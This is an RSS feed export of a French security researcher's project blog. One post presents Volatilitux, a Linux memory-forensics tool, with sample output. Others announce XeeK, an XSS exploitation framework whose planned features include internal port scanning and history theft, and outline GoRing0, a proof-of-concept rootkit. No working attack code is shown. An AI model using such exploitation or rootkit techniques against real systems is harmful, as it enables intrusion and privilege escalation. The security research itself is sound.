<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Segmentation fault &#187; Projets</title>
	<atom:link href="https://www.segmentationfault.fr/categories/projets/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.segmentationfault.fr</link>
	<description>Projets d’un consultant en sécurité informatique</description>
	<lastBuildDate>Fri, 15 Feb 2019 08:02:10 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>Volatilitux : Physical memory analysis of Linux systems</title>
		<link>https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/</link>
		<comments>https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/#comments</comments>
		<pubDate>Wed, 08 Dec 2010 00:09:36 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Projets]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=858</guid>
		<description><![CDATA[As some of my followers may have seen, I have recently been working on a forensic tool called Volatilitux. It is pretty much the equivalent of the Volatility framework for Linux systems. I presented a pre-release version of this tool at last Hackerzvoice meeting; here are the slides (in French). Today, I am glad to [...]]]></description>
			<content:encoded><![CDATA[<p>As some of my followers may have seen, I have recently been working on a forensic tool called <strong>Volatilitux</strong>. It is pretty much the equivalent of the <a href="https://www.volatilesystems.com/default/volatility">Volatility</a> framework for Linux systems. I presented a pre-release version of this tool at last <a href="http://www.hackerzvoice.net/">Hackerzvoice</a> meeting; here are the <a href="http://www.segmentationfault.fr/hzv/eg-20101204-Volatilitux.pdf">slides</a> (in French). Today, I am glad to announce the first <a href="http://code.google.com/p/volatilitux/">release</a> of this framework. And to celebrate, here is my first blog post attempt in English <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p><span id="more-858"></span></p>
<h3>Background</h3>
<p>Volatilitux is a Python framework that helps extracting digital artifacts from raw physical memory (RAM) dumps of Linux systems. The goal of this tool is to offer a tool in a field that cruelly lacks of tools. It is mainly inspired by the <a href="http://communaute.sstic.org/ChallengeSSTIC2010">SSTIC 2010 challenge</a> whose purpose was to analyze the physical memory of an Android phone. When the challenge got released, the only suitable tool that existed was <a href="http://code.google.com/p/draugr/">draugr</a>; however it required two lines to be patched in order to be able to analyze the file.</p>
<p>I tried to solve this challenge but I quickly got stuck at the first step : listing all running processes and extracting the virtual memory map of each one. I learned a lot reading the kernel <a href="http://lxr.linux.no/#linux+v2.6.36/include/linux/sched.h#L1163">source code</a>, some <a href="http://duartes.org/gustavo/blog/post/how-the-kernel-manages-your-memory">blog posts</a>, and finally the <a href="http://communaute.sstic.org/ChallengeSSTIC2010">challenge</a> <a href="http://pentester.fr/blog/index.php?post/2010/06/03/Challenge-SSTIC-2010-in-a-nutshell">solutions</a> when they got released. And I understood the biggest problem of physical memory analysis in Linux: most of kernel structure offsets change depending on the kernel version, configuration and patches. Thus, the first step was to detect all of those offsets. And then, use them to extract and browse all kernel objects.</p>
<p>I first detected those offsets manually by <a href="http://stackoverflow.com/questions/1809774/android-kernel-compile-and-test-with-android-emulator">recompiling</a> Android 2.1 <a href="http://android.git.kernel.org/">kernel</a> (using the <a href="http://developer.android.com/sdk/ndk/index.html">NDK</a>), running it into Google&rsquo;s emulator (provided in the <a href="http://developer.android.com/sdk/index.html">SDK</a>), and then load a LKM in order to display all those offsets. It worked.</p>
<p>Then, I thought: «Since Volatility is a great tool but only supports Windows, why not develop a similar framework that works for Linux RAM dumps?»</p>
<p>I first came up with a version of the tool that required a configuration file containing all the offsets, as well as init_task symbol address and the architecture of the dump. Then, I chose to raise the bar a little higher, and automatically detects those offsets. And here we are&#8230;</p>
<h3>Features</h3>
<p>Here are the main features of the tool:</p>
<ul>
<li> Automatic detection of kernel structure offsets</li>
<li>Manual detection of those offsets using a Loadable Kernel Module</li>
<li>Supports multiple architectures: ARM, x86, x86 with PAE enabled</li>
<li>Can be used as a Python module in order to automate tasks and be embedded with other projects</li>
</ul>
<p>Unlike Volatility, it now only supports a restricted set of commands:</p>
<ul>
<li><code>pslist</code>: print the list of all process</li>
<li><code>memmap</code>: print the memory map of a process</li>
<li><code>memdmp</code>: dump the addressable memory of a process</li>
<li><code>filedmp</code>: dump an open file</li>
<li><code>filelist</code>: print the list of all open files for a given process</li>
</ul>
<p>Of course, since it is a framework, one can extends those features and easily add new architectures, commands, and kernel structures.</p>
<p>It has been tested on physical memory dumps of the folowing Linux distributions:</p>
<ul>
<li>Android 2.1</li>
<li>Fedora 5 and 8</li>
<li>Debian 5</li>
<li>CentOS 5</li>
<li>Ubuntu with and without PAE</li>
</ul>
<h3>Requirements</h3>
<p>Volatilitux requires Python 2.6. It only uses Python builtin modules, and does not rely on any external library.</p>
<p>It has mainly been tested on Windows XP, but it should run on any other platform.</p>
<h3>Get the source</h3>
<p>You can download and browse the source code of this tool on the <a href="http://code.google.com/p/volatilitux/">Volatilitux</a> Google Code project.</p>
<p>To download it directly:</p>
<ul>
<li><a href="http://volatilitux.googlecode.com/files/volatilitux-1.0.zip">volatilitux-1.0.zip</a></li>
</ul>
<p>Please read the README.txt file, as it contains information on how to use the tool.</p>
<h3>Known bug</h3>
<p>Yes, Volatilitux already has a bug <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . One of the kernel offset is not yet properly detected (actually, it is hardcoded due to lack of time!) for Ubuntu distributions. This will make the memmap command display incorrect information in the &laquo;&nbsp;Flag&nbsp;&raquo; column. However it should not prevent the other commands to run.</p>
<h3>Quick Example</h3>
<p>Here is how to use Volatilitux to extract the TextViewer Android application in the SSTIC 2010 challenge. Be sure to <a href="http://www.sstic.org/media/SSTIC2010/concours_sstic_2010">download</a> the dump and extract &laquo;&nbsp;challv2&Prime; to try it <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<pre>$ volatilitux.py -f challv2 pslist
Name                PID       PPID
swapper             0         0
init                1         0
kthreadd            2         0
ksoftirqd/0         3         2
events/0            4         2
khelper             5         2
suspend             6         2
kblockd/0           7         2
cqueue              8         2
kseriod             9         2
kmmcd               10        2
pdflush             11        2
pdflush             12        2
kswapd0             13        2
aio/0               14        2
mtdblockd           21        2
hid_compat          22        2
rpciod/0            23        2
mmcqd               24        2
sh                  25        1
servicemanager      26        1
vold                27        1
debuggerd           28        1
rild                29        1
zygote              30        1
mediaserver         31        1
installd            32        1
keystore            33        1
init.goldfish.s     34        1
qemud               35        1
adbd                37        1
qemu-props          44        34
system_server       52        30
putmethod.latin     96        30
m.android.phone     98        30
d.process.acore     101       30
ndroid.settings     116       30
roid.alarmclock     136       30
d.process.media     147       30
com.android.mms     170       30
m.android.email     183       30
com.svox.pico       207       30
nssi.textviewer     227       30
om.anssi.secret     233       30

$ volatilitux.py -f challv2 memmap -p 227
Begin    End       Flags File
00008000-00009000  r-xp  app_process
00009000-0000a000  rwxp  app_process
0000a000-002dc000  rwxp
10000000-10001000  ---p
10001000-10100000  rwxp
40000000-40008000  r-xs  dev/ashmem/system_properties
40008000-40009000  r-xp
40009000-402aa000  rwxp  dev/ashmem/mspace/dalvik-heap/zygote/0
402aa000-41009000  ---p  dev/ashmem/mspace/dalvik-heap/zygote/0
41009000-41038000  r-xs  DroidSans.ttf
41038000-4104c000  rwxp
4104c000-4104d000  ---p  dev/ashmem/dalvik-LinearAlloc
4104d000-412c2000  rwxp  dev/ashmem/dalvik-LinearAlloc
412c2000-4154c000  ---p  dev/ashmem/dalvik-LinearAlloc
4154c000-416d0000  r-xs  core.jar
416d0000-41a5d000  r-xs  system@framework@core.jar@classes.dex
41a5d000-41a91000  rwxp
41a91000-41af6000  r-xs  ext.jar
41af6000-41bee000  r-xs  system@framework@ext.jar@classes.dex
41bee000-41e69000  r-xs  framework.jar
41e69000-4244d000  r-xs  system@framework@framework.jar@classes.dex
4244d000-424cb000  rwxp
424cb000-424de000  r-xs  android.policy.jar
424de000-42507000  r-xs  system@framework@android.policy.jar@classes.dex
42507000-42582000  r-xs  services.jar
42582000-4268d000  r-xs  system@framework@services.jar@classes.dex
4268d000-426b1000  rwxp
426b1000-426e6000  rwxp  dev/ashmem/dalvik-heap-bitmap/objects
426e6000-426f2000  rwxp
426f2000-426f3000  r-xs  dev/ashmem/SurfaceFlinger read-only heap
426f3000-426f8000  r-xs  com.anssi.textviewer.apk
426f8000-426fa000  r-xs  com.anssi.textviewer.apk
426fa000-426ff000  r-xs  com.anssi.textviewer.apk
426ff000-42700000  r-xs  data@app@com.anssi.textviewer.apk@classes.dex
42700000-42701000  rwxs  dev/ashmem/SurfaceFlinger Client control-block
42707000-42738000  rwxp
42738000-42767000  r-xs  DroidSans-Bold.ttf
42778000-427ae000  rwxp  dev/ashmem/dalvik-heap-bitmap/mark/0
427ba000-42c63000  r-xs  framework-res.apk
42c63000-42e14000  r-xs  framework-res.apk
42e14000-42e55000  rwxp  dev/ashmem/mspace/dalvik-heap/zygote/1
42e55000-43b74000  ---p  dev/ashmem/mspace/dalvik-heap/zygote/1
43b74000-43b75000  ---p
43b75000-43c74000  rwxp
43c74000-43c91000  rwxp
43cb9000-43cf9000  rwxp  dev/ashmem/dalvik-heap-bitmap/mark/1
43cf9000-43d3a000  rwxp  dev/ashmem/mspace/dalvik-heap/2
43d3a000-44a19000  ---p  dev/ashmem/mspace/dalvik-heap/2
44a19000-44a1a000  ---p
44a1a000-44b19000  rwxp
44b19000-44c17000  r-xp  binder
44c17000-44c18000  ---p
44c18000-44d17000  rwxp
44d17000-44d18000  ---p
44d18000-44e17000  rwxp
44e17000-45108000  r-xs  DroidSansFallback.ttf
80000000-80433000  r-xp  libicudata.so
80433000-80434000  rwxp  libicudata.so
80800000-8080a000  r-xp  libskiagl.so
8080a000-8080b000  rwxp  libskiagl.so
80900000-80902000  r-xp  libemoji.so
80902000-80903000  rwxp  libemoji.so
80a00000-80a03000  r-xp  gralloc.default.so
80a03000-80a04000  rwxp  gralloc.default.so
9a200000-9a256000  r-xp  libsrec_jni.so
9a256000-9a257000  rwxp  libsrec_jni.so
9d800000-9d808000  r-xp  libdrm1.so
9d808000-9d809000  rwxp  libdrm1.so
a6000000-a60cb000  r-xp  libopencore_common.so
a60cb000-a60d1000  rwxp  libopencore_common.so
a7000000-a70bd000  r-xp  libopencore_player.so
a70bd000-a70c5000  rwxp  libopencore_player.so
a7680000-a7697000  r-xp  libomx_amrenc_sharedlibrary.so
a7697000-a7698000  rwxp  libomx_amrenc_sharedlibrary.so
a7a00000-a7a30000  r-xp  libopencore_net_support.so
a7a30000-a7a33000  rwxp  libopencore_net_support.so
a7ba0000-a7bb5000  r-xp  libomx_sharedlibrary.so
a7bb5000-a7bb6000  rwxp  libomx_sharedlibrary.so
a9c00000-a9c07000  r-xp  libhardware_legacy.so
a9c07000-a9c08000  rwxp  libhardware_legacy.so
a9c70000-a9c71000  r-xp  libhardware.so
a9c71000-a9c72000  rwxp  libhardware.so
a9d00000-a9d29000  r-xp  libutils.so
a9d29000-a9d2a000  rwxp  libutils.so
a9d80000-a9da2000  r-xp  libbinder.so
a9da2000-a9da9000  rwxp  libbinder.so
aa000000-aa3c1000  r-xp  libwebcore.so
aa3c1000-aa418000  rwxp  libwebcore.so
aa418000-aa41a000  rwxp
aab00000-aab14000  r-xp  libexpat.so
aab14000-aab16000  rwxp  libexpat.so
aac00000-aac45000  r-xp  libsqlite.so
aac45000-aac46000  rwxp  libsqlite.so
ab200000-ab24a000  r-xp  libmedia.so
ab24a000-ab256000  rwxp  libmedia.so
ab300000-ab309000  r-xp  libmedia_jni.so
ab309000-ab30a000  rwxp  libmedia_jni.so
ab400000-ab41c000  r-xp  libvorbisidec.so
ab41c000-ab41d000  rwxp  libvorbisidec.so
ab500000-ab552000  r-xp  libsonivox.so
ab552000-ab553000  rwxp  libsonivox.so
ab553000-ab554000  rwxp
ac000000-ac13f000  r-xp  libskia.so
ac13f000-ac143000  rwxp  libskia.so
ac143000-ac146000  rwxp
ac400000-ac430000  r-xp  libui.so
ac430000-ac437000  rwxp  libui.so
ac500000-ac509000  r-xp  libexif.so
ac509000-ac50a000  rwxp  libexif.so
ac50a000-ac50c000  rwxp
ac700000-ac708000  r-xp  libEGL.so
ac708000-ac709000  rwxp  libEGL.so
ac709000-ac70b000  rwxp
acb00000-acb05000  r-xp  libGLESv1_CM.so
acb05000-acb06000  rwxp  libGLESv1_CM.so
acf00000-acf19000  r-xp  libpixelflinger.so
acf19000-acf1b000  rwxp  libpixelflinger.so
ad000000-ad07e000  r-xp  libdvm.so
ad07e000-ad081000  rwxp  libdvm.so
ad081000-ad082000  rwxp
ad200000-ad233000  r-xp  libnativehelper.so
ad233000-ad236000  rwxp  libnativehelper.so
ad300000-ad360000  r-xp  libandroid_runtime.so
ad360000-ad367000  rwxp  libandroid_runtime.so
ad367000-ad370000  rwxp
ad400000-ad4af000  r-xp  libicui18n.so
ad4af000-ad4b3000  rwxp  libicui18n.so
ad500000-ad5c0000  r-xp  libicuuc.so
ad5c0000-ad5c7000  rwxp  libicuuc.so
ad5c7000-ad5c8000  rwxp
adb00000-adb04000  r-xp  libnetutils.so
adb04000-adb05000  rwxp  libnetutils.so
adc00000-adc02000  r-xp  libwpa_client.so
adc02000-adc03000  rwxp  libwpa_client.so
af500000-af5a4000  r-xp  libcrypto.so
af5a4000-af5b7000  rwxp  libcrypto.so
af5b7000-af5b9000  rwxp
af700000-af722000  r-xp  libssl.so
af722000-af725000  rwxp  libssl.so
af900000-af913000  r-xp  libz.so
af913000-af914000  rwxp  libz.so
afb00000-afb0d000  r-xp  libcutils.so
afb0d000-afb0e000  rwxp  libcutils.so
afb0e000-afb1d000  rwxp
afbc0000-afbc3000  r-xp  liblog.so
afbc3000-afbc4000  rwxp  liblog.so
afc00000-afc20000  r-xp  libm.so
afc20000-afc21000  rwxp  libm.so
afd00000-afd01000  r-xp  libstdc++.so
afd01000-afd02000  rwxp  libstdc++.so
afe00000-afe38000  r-xp  libc.so
afe38000-afe3b000  rwxp  libc.so
afe3b000-afe46000  rwxp
b0000000-b000f000  r-xp  linker
b000f000-b0010000  rwxp  linker
b0010000-b0019000  rwxp
beada000-beaef000  rwxp [stack]

$ volatilitux.py -f challv2 filelist -p 227 | grep apk
com.anssi.textviewer.apk
data@app@com.anssi.textviewer.apk@classes.dex
framework-res.apk

$ volatilitux.py -f challv2 filedmp -p 227 -t com.anssi.textviewer.apk -o output.apk
Dumping from 426f3000 to 426f8000...
20480 bytes dumped to output.apk

$ unzip -l output.apk
Archive:  output.apk
  Length     Date   Time    Name
 --------    ----   ----    ----
      784  09-04-10 16:00   res/layout/main.xml
     2678  09-04-10 16:00   res/raw/chiffre.txt
     1288  09-04-10 16:00   AndroidManifest.xml
     1660  09-04-10 15:58   resources.arsc
     3966  09-04-10 15:58   res/drawable-hdpi/icon.png
     1537  09-04-10 15:58   res/drawable-ldpi/icon.png
     2200  09-04-10 15:58   res/drawable-mdpi/icon.png
     3092  09-04-10 16:00   classes.dex
      636  09-04-10 16:00   META-INF/MANIFEST.MF
      689  09-04-10 16:00   META-INF/CERT.SF
      689  09-04-10 16:00   META-INF/CERT.RSA
 --------                   -------
    19219                   11 files

$ unzip output.apk res/raw/chiffre.txt
Archive:  output.apk
  inflating: res/raw/chiffre.txt

$ head res/raw/chiffre.txt
Daxn uuaaidbiwsn,

Yvus kxpwidces ex pw?®mxy, rfgwo yir huy ebazr ?®wpgntmevonz svbowsnb :
        - Hps?¿l eax ldtp txloniwz, rfgwae-pxbs daxv hy phlmbykwgn irfmhj
        - q'ukhnehgj?®j xn Uayhl u uuaa ppnk z'focyet vbazr
        - ul fs?¿kx zj Gjyvjg r axn w?®, zovl ew llxzsf mtxqy ?
        - ul nfs wa hy ppgbgmaxkdl cbibpfcwl nf ynp qck?®y?® qv'xg 1993

Qsy ovit tknnp?® ?á loarnx asxaviu, othnxn aa qhleycxu dbgl h'fjysidtmeth.
Ahjpnma jhbbiux ea ric ke qtloj, cu lsu vaekza?® ln HIZ.
</pre>
<p>The remaining of the challenge is left as an exercise for the reader <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p><span style="text-decoration: underline;">Note:</span> If some of the pages are partially missing in a file, Volatilitux will skip those page and only dump valid pages. See the <code>dumpFile()</code> method in the <code>UserSpace</code> class if you want to change that behavior.</p>
<p>You will find an example.py file in the root folder. You should read it it if you want to use the framework as a Python module.</p>
<h3>Volatilitux Internals</h3>
<p>Here are some implementation details.</p>
<h4>Automatic detection of kernel structure offsets</h4>
<p>The offset-detection algorithm used in Volatilitux is pretty simple; basically it is based on bruteforce and pruning heuristics. For each unknown offset or address, all potential values are tried, and an heuristic is used to decide whether the value is correct or not. Most of the time, the bruteforce occurs on two offsets at a time within two nested loops. The heuristic I use are sometimes pretty simple:</p>
<ul>
<li>if ptr is supposed to contain a kernel address, then its value must be &gt;= 0xC0000000</li>
<li>swapper.pid == 0 and init.pid == 1 (swapper and init are the first two process)</li>
<li>if s1 and s2 are the same type, and both contains 2 fields named f1 and f2, then (&amp;s1.f2 &#8211; &amp;s1.f1) == (&amp;s2.f2 &#8211; &amp;s2.f1), i.e. the delta between those offsets is constant for both structures</li>
</ul>
<p>These heuristics ensure that the loops stop as soon as possible on bad offsets. The whole algorithm is implemented in core/forensics.py, which is actually the biggest file of the project&#8230;</p>
<h4>Architecture</h4>
<p>Volatilitux is fully object-oriented and makes use of nice Python features in order to be as extensible as possible, such as:</p>
<ul>
<li><a href="http://docs.python.org/tutorial/classes.html">Simple and multiple inheritance</a></li>
<li><a href="http://www.artima.com/weblogs/viewpost.jsp?thread=240808">Decorators</a></li>
<li><a href="http://stackoverflow.com/questions/951124/dynamic-loading-of-python-modules">Dynamic loading of modules</a></li>
<li><a href="http://docs.python.org/reference/datamodel.html#special-method-names">Operator overloading</a></li>
<li>Nested classes</li>
</ul>
<p>Decorators are mainly used to simulate C++&rsquo;s templates, and help reduce the amount of code.</p>
<p>All handled Linux kernel structures are represented by Python classes using the same scheme. They all inherits from <code>KernelStruct</code>. Here is an example with <code>task_struct</code>:</p>
<pre>@unix_name("task_struct")
class Task(KernelStruct):

  @classmethod
  def initclass(cls):
    cls.fields_classes = {"pid": Field(int),
                          "comm": Field(str),
                          "parent": Pointer(Task),
                          "tasks": ListHead(Task),
                          "mm": Pointer(UserSpace),
                          }

  # More methods...
</pre>
<p>This syntax lets Volatilitux know that the structure has 5 fields:</p>
<ul>
<li><code>pid</code> is an integer</li>
<li><code>comm</code> is a string (<code>char *</code>)</li>
<li><code>parent</code> is a pointer to another <code>task_struct</code></li>
<li><code>tasks</code> is a double linked-list of <code>task_struct</code>s</li>
<li><code>mm</code> is a pointer to another structure (<code>mm_struct</code> which is represented by the <code>UserSpace</code> class)</li>
</ul>
<p>Since <code>KernelStruct</code> uses operator overloading, every field can easily be accessed using the dot operator, as a regular object property.</p>
<p>That&rsquo;s all for this quick post&#8230; I may publish more details in the following of the project. In the meanwhile, do not hesitate to browse the source code, leave a comment, or contact me directly if you have any questions <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Release de XeeK v0.1b</title>
		<link>https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/</link>
		<comments>https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 16:15:21 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Applications]]></category>
		<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[XeeK]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=833</guid>
		<description><![CDATA[Comme promis, voici la toute première release de XeeK, en direct de la Nuit Du Hack 2010. Comme son numéro de version le suggère, il s&#8217;agit d&#8217;une version BETA donc potentiellement buggée . XeeK v0.1b : archive comportant le client, le serveur, ainsi que l&#8217;aide (fichiers INSTALL.txt et README.txt) Slides de la conférence (PDF) J&#8217;éditerai [...]]]></description>
			<content:encoded><![CDATA[<p>Comme promis, voici la toute première release de XeeK, en direct de la Nuit Du Hack 2010. Comme son numéro de version le suggère, il s&rsquo;agit d&rsquo;une version BETA donc potentiellement buggée <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<span id="more-833"></span></p>
<ul>
<li><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/06/xeek-0.1b.zip">XeeK v0.1b</a> : archive comportant le client, le serveur, ainsi que l&rsquo;aide (fichiers INSTALL.txt et README.txt)</li>
<li><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/06/XeeK.pdf">Slides de la conférence</a> (PDF)</li>
</ul>
<p>J&rsquo;éditerai ce billet prochainement pour y ajouter un petit tutorial concernant l&rsquo;installation et l&rsquo;utilisation de XeeK.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Conférence sur XeeK à la NDH 2010</title>
		<link>https://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/</link>
		<comments>https://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 12:27:00 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[XeeK]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=789</guid>
		<description><![CDATA[Comme certains ont pu le voir sur Twitter ou sur le site de la NDH, j&#8217;ai repris le développement de XeeK, un projet de framework d&#8217;exploitation de faille XSS. J&#8217;ai déjà présenté une ébauche de ce projet à la Nuit Du Hack 2009, que j&#8217;ai stoppé entre temps, faute de temps (oui, je sais, c&#8217;est [...]]]></description>
			<content:encoded><![CDATA[<p>Comme certains ont pu le voir sur <a href="http://twitter.com/emiliengirault" target="_blank">Twitter</a> ou sur le site de la <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_blank">NDH</a>, j&rsquo;ai repris le développement de <a href="http://www.segmentationfault.fr/projets/xeek-framework-exploitation-xss/">XeeK</a>, un projet de framework d&rsquo;exploitation de faille XSS. J&rsquo;ai déjà présenté une ébauche de ce projet à la Nuit Du Hack 2009, que j&rsquo;ai stoppé entre temps, faute de temps (oui, je sais, c&rsquo;est mal). Mais rassurez-vous : début janvier, je me suis remis en tête de reprendre ce projet et d&rsquo;en publier une version stable à la NDH 2010. En attendant la mise en place d&rsquo;une page dédiée au projet, voici quelques informations sur les nouveautés à venir.</p>
<p><span id="more-789"></span></p>
<h3>XeeK is not dead</h3>
<p>Ainsi, je travaille activement sur le projet depuis plus d&rsquo;un mois. J&rsquo;ai profité de l&rsquo;expérience de mes collègues pour faire une petit brainstorm sur l&rsquo;état du projet, et ainsi obtenir de nouvelles idées. Comme certaines de ces idées remettaient en cause la structure mise en place, j&rsquo;ai préféré reprendre le développement du projet from scratch.</p>
<h3>Quoi de neuf depuis 2009 ?</h3>
<p>Plusieurs personnes ont développé des outils aux fonctionnalités similaires (Beef, XSS Shell, etc). Plutôt que de réinventer la roue, j&rsquo;ai préféré m&rsquo;inspirer de ces outils afin d&rsquo;intégrer leurs bonnes idées dans la plateforme. Voici quelques unes des nouvelles fonctionnalités prévues pour le moment : (cette liste est susceptible d&rsquo;évoluer dans les mois à venir)</p>
<ul>
<li>L&rsquo;architecture est désormais de type client &#8211; serveur</li>
<li>Les deux entités communiquent via une API basée sur HTTP/JSON</li>
<li>Cette architecture permettra de développer de multiples clients, un peu sur le modèle de Metasploit :
<ul>
<li>Interface console</li>
<li>Interface Web</li>
<li>Interface graphique (applicative)</li>
<li>Pourquoi pas une extension Firefox</li>
</ul>
</li>
<li>Abandon du concept de &laquo;&nbsp;scheduler&nbsp;&raquo; ; les instructions sont désormais toujours récupérées dynamiquement</li>
<li>Concept de chaine d&rsquo;exploits : suite d&rsquo;instructions qui s&rsquo;enchaînent</li>
<li>De nouveaux exploits sont prévus
<ul>
<li>Scan de port du réseau interne</li>
<li>Récupération d&rsquo;historique</li>
<li>Proxy</li>
</ul>
</li>
</ul>
<p>Au niveau technique, ce nouveau XeeK nécessitera PHP &gt;= 5.3.0 (à cause des <a href="http://php.net/manual/fr/language.oop5.late-static-bindings.php" target="_blank">Late Static Bindings</a>), MySQL ainsi que Python pour l&rsquo;interface en ligne de commande.</p>
<h3>Licence</h3>
<p>Ce projet est développé principalement dans le cadre de mon temps R&amp;D chez Sysdream. Il sera diffusé en GPL suite à la conférence que je donnerai à la prochaine <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_blank">Nuit Du Hack</a>. Un SVN ainsi qu&rsquo;un wiki seront certainement mis en place pour permettre aux intéressés de récupérer les sources ainsi que la documentation.</p>
<p>En attendant le 19 juin, si vous avez des idées / suggestions, n&rsquo;hésitez pas <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Conférence NDH 2009 sur GoRing0</title>
		<link>https://www.segmentationfault.fr/projets/conference-ndh-2009-goring0/</link>
		<comments>https://www.segmentationfault.fr/projets/conference-ndh-2009-goring0/#comments</comments>
		<pubDate>Wed, 13 May 2009 22:50:50 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[Publications]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[ring 0]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[XeeK]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=641</guid>
		<description><![CDATA[Je me suis récemment lancé sur un nouveau projet perso, nommé GoRing0. Ce projet est parti d&#8217;une question existentielle que je me suis posée concernant les processus, ou plutôt les threads. Sous Linux et Windows, ceux-ci s&#8217;exécutent normalement en ring 3 (mode processeur userland), alors que les drivers s&#8217;exécutent en ring 0 (kernelland).  Ma question [...]]]></description>
			<content:encoded><![CDATA[<p>Je me suis récemment lancé sur un nouveau projet perso, nommé GoRing0. Ce projet est parti d&rsquo;une question existentielle que je me suis posée concernant les processus, ou plutôt les threads. Sous Linux et Windows, ceux-ci s&rsquo;exécutent normalement en ring 3 (mode processeur <em>userland</em>), alors que les drivers s&rsquo;exécutent en ring 0 (<em>kernelland</em>).  Ma question était la suivante : est-ce techniquement possible de passer un thread du ring 3 vers le ring 0 ? Attention, je ne parle pas de faire un appel à un code driver depuis un programme ring 3 par le biais d&rsquo;une interruption ou d&rsquo;un IOCTL, mais bien de passer une le code du thread lui-même en ring 0. Étant convaincu que la réponse à cette question est affirmative, je me lance dans la conception d&rsquo;une preuve de concept : GoRing0.<span id="more-641"></span></p>
<h3>GoRing0</h3>
<p>GoRing0 est donc un rootkit qui a pour objectif de faire passer un thread en ring 0, et de le rebasculer accessoirement en ring 3 lorsqu&rsquo;il le souhaite. Pour cela, celui-ci devra bien évidemment charger un driver, afin de s&rsquo;élever les droits et de permettre une telle commutation. La partie utilisateur du rootkit pourrait se présenter sous la forme d&rsquo;une librairie exportant deux fonctions principales : GoRing0() et GoRing3(), permettant le basculement en ring 0 et ring 3 respectivement. N&rsquo;importe quel programme pourrait alors faire appel à ces fonctions et s&rsquo;élever les droits à volonté. Je développe pour le moment sous Windows, mais idéalement, GoRing0 devrait être capable de fonctionner aussi bien sous sous Linux, la manipulation qu&rsquo;il effectue étant surtout liée à l&rsquo;architecture x86.</p>
